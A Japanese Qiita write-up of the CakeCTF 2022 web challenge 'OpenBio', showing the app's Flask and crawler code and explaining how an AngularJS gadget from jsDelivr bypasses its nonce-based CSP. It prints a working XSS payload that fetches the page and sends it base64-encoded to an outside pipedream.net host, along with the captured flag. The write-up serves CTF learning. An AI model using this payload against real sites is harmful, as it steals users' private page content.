0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 15

[web] OpenBio (CakeCTF 2022) writeup

Last updated at Posted at 2024-12-15

Source: CakeCTF 2022
Author: ptr-yudai


自身のプロフィールのbioを自由に設定できるアプリ。
{FB9B5B86-1DE0-4DF1-BA83-787B1694D3CA}.png

app.py
import base64
import flask
from flask_wtf.csrf import CSRFProtect
import hashlib
import json
import os
import re
import redis
import requests

REDIS_HOST = os.getenv('REDIS_HOST', 'redis')
REDIS_PORT = int(os.getenv('REDIS_PORT', 6379))
RECAPTCHA_KEY = os.getenv('RECAPTCHA_KEY', '')
SALT = os.getenv('SALT', os.urandom(8))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
csrf = CSRFProtect(app)

"""
Utility functions
"""
def login_ok():
    """Check if the current user is logged in"""
    return 'user' in flask.session

def conn_user():
    """Create a connection to user database"""
    return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
def conn_report():
    """Create a connection to report database"""
    return redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1)

def success(message):
    """Return a success message"""
    return flask.jsonify({'status': 'success', 'message': message})
def error(message):
    """Return an error message"""
    return flask.jsonify({'status': 'error', 'message': message})

def passhash(password):
    """Get a safe hash value of password"""
    return hashlib.sha256(SALT + password.encode()).hexdigest()

"""
Enforce CSP
"""
@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

@app.context_processor
def csp_nonce_init():
    flask.g.csp_nonce = base64.b64encode(os.urandom(16)).decode()
    return dict(csp_nonce=flask.g.csp_nonce)

"""
Route
"""
@app.route('/')
def home():
    if login_ok():
        conn = conn_user()
        bio = conn.hget(flask.session['user'], 'bio').decode()
        if bio is not None:
            return flask.render_template('index.html',
                                         username=flask.session['user'], bio=bio)
    return flask.render_template('login.html')

@app.route('/profile/<user>')
def profile(user):
    if not login_ok():
        return flask.redirect(flask.url_for('home'))

    is_report = flask.request.args.get('report') is not None

    conn = conn_user()
    if not conn.exists(user):
        return flask.redirect(flask.url_for('home'))

    bio = conn.hget(user, 'bio').decode()
    return flask.render_template('profile.html',
                                 username=user, bio=bio,
                                 is_report=is_report)

"""
User API
"""
@app.route('/api/user/register', methods=['POST'])
def user_register():
    """Register a new user"""
    # Check username and password
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
        return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
    if re.match("^.{8,128}$", password) is None:
        return error("Password must follow regex '^.{8,128}$'")

    # Register a new user
    conn = conn_user()
    if conn.exists(username):
        return error("This username has been already taken.")
    else:
        conn.hset(username, mapping={
            'password': passhash(password),
            'bio': "<p>Hello! I'm new to this website.</p>"
        })
        flask.session['user'] = username
        return success("Successfully registered a new user.")

@app.route('/api/user/login', methods=['POST'])
def user_login():
    """Login user"""
    if login_ok():
        return success("You have already been logged in.")

    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')

    # Check password
    conn = conn_user()
    if conn.hget(username, 'password').decode() == passhash(password):
        flask.session['user'] = username
        return success("Successfully logged in.")
    else:
        return error("Invalid password or user does not exist.")

@app.route('/api/user/logout', methods=['POST'])
def user_logout():
    """Logout user"""
    if login_ok():
        flask.session.clear()
        return success("Successfully logged out.")
    else:
        return error("You are not logged in.")

@app.route('/api/user/update', methods=['POST'])
def user_update():
    """Update user info"""
    if not login_ok():
        return error("You are not logged in.")

    username = flask.session['user']
    bio = flask.request.form.get('bio', '')
    if len(bio) > 2000:
        return error("Bio is too long.")

    # Update bio
    conn = conn_user()
    conn.hset(username, 'bio', bio)

    return success("Successfully updated your profile.")

"""
Report spam account
"""
@app.route('/api/support/report', methods=['POST'])
def report():
    """Report spam
    Support staff will check the reported contents as soon as possible.
    """
    if RECAPTCHA_KEY:
        recaptcha = flask.request.form.get('recaptcha', '')
        params = {
            'secret': RECAPTCHA_KEY,
            'response': recaptcha
        }
        r = requests.get(
            "https://www.google.com/recaptcha/api/siteverify", params=params
        )
        if json.loads(r.text)['success'] == False:
            abort(400)

    username = flask.request.form.get('username', '')
    conn = conn_user()
    if not conn.exists(username):
        return error("This user does not exist.")

    conn = conn_report()
    conn.rpush('report', username)
    return success("""Thank you for your report.<br>Our support team will check the post as soon as possible.""")


if __name__ == '__main__':
    app.run()

flagはadminが作成したbioの中にある。

crawler.js
const puppeteer = require('puppeteer');
const Redis = require('ioredis');
const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1});

const wait = ms => new Promise(resolve => setTimeout(resolve, ms));
const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}";
const base_url = "http://challenge:8080";
const browser_option = {
    headless: true,
    args: [
        '-wait-for-browser',
        '--no-sandbox', '--disable-gpu',
        '--js-flags="--noexpose_wasm"'
    ]
}

const crawl = async (target) => {
    const url = base_url + '/profile/' + target + '?report';
    console.log(`[+] Crawling: ${url}`);

    const username = Math.random().toString(32).substring(2);
    const password = Math.random().toString(32).substring(2);

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        // Register
        await page.goto(base_url + '/', {timeout: 3000});
        await page.type('#username', username);
        await page.type('#password', password);
        await page.click('#tab-signup');
        await page.click('#signup');
        await wait(1000);

        // Set flag to bio
        await page.goto(base_url + '/', {timeout: 3000});
        await page.$eval('#bio', element => element.value = '');
        await page.type('#bio', "You hacked me! The flag is " + flag);
        await page.click('#update');
        await wait(1000);

        // Check spam page
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

    console.log(`[+] Crawl done`);
    await browser.close();
}

const handle = async () => {
    console.log(await connection.ping());
    connection.blpop('report', 0, async (err, message) => {
        try {
            await crawl(message[1]);
            setTimeout(handle, 10);
        } catch (e) {
            console.log("[-] " + e);
        }
    });
};

handle();

自由にhtmlタグを使用することができ、特にbypassなどもされていないが、CSPでnonseが設定されているため、ただ<script>などを挿入しても実行できない。

@app.after_request
def after_request(response):
    csp  = ""
    csp +=  "default-src 'none';"
    if 'csp_nonce' in flask.g:
        csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    else:
        csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';"
    csp += f"style-src https://cdn.jsdelivr.net/;"
    csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;"
    csp += f"base-uri 'none';"
    csp += f"connect-src 'self';"
    response.headers['Content-Security-Policy'] = csp
    return response

script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';でいくつかのサイトとunsage-evalを許可しているのが気になる。

https://cdn.jsdelivr.net/で任意のjavascriptを実行させてくれそうなライブラリを探す。Angular.jsが良さそう。

XSSを発火させることができた。

<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

今回はflagがadminのbioの中にあるのでprofileの内容を取得して外部に送信する必要があるが、adminのusernameはランダムになっておりpathが分からない。しかしよく考えれば/の編集画面でも現在のprofileを取得しているため、これを送信すれば良い。

default-src: 'none';が設定されていてfetchやsendBeaconがブロックされてしまうので情報を送信する時はlocation.hrefを使う。最終的なpayloadはこうなる。

<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(r=>r.text()).then(t=>location.href="https://xxxxxxxx.m.pipedream.net?"+btoa(t))')()}}</div>

base64エンコードされたflagが飛んできた。
CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?